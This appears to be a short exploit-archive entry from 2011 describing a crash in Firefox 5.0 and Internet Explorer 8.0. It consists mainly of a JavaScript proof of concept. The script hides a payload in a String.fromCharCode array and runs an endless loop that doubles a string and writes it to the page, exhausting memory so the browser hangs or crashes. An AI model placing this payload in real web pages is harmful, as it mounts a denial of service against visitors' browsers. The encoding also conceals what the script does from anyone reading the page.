Firefox 5.0 & Internet Explorer 8.0 - Access Violation Exception and Unknown Exception # Exploit Title: Firefox 5.0 & Internet Explorer 8.0 - Access Violation Exception and Unknown Exception # Google Dork: N/A # Date: 7/12/2011 # Author: r45c4l # Software Link: [www.firefox.com and IE is shiped with Windows copies] # Version: Firefox 5.0 and Internet Explorer 8.0 # Tested on: Windows 7 (plateform independent) # CVE : N/A # NOTE : Though this is a old issue which has been reported earlier also (http://www.exploit-db.com/exploits/12602/) but the problem still exists in the upgradet versions. # Status : Vendors not reported. # Exploit : <script> var a=String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,97,61,34,60,109,97,114,113,117,101,101,62,97,34,59,119,104,105,108,101,40,49,41,123,97,61,97,43,97,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,97,41,59,125,60,47,115,99,114,105,112,116,62); while(1){ a=a+a; document.write(a); } </script> Greetz : Cattechie, H5 team,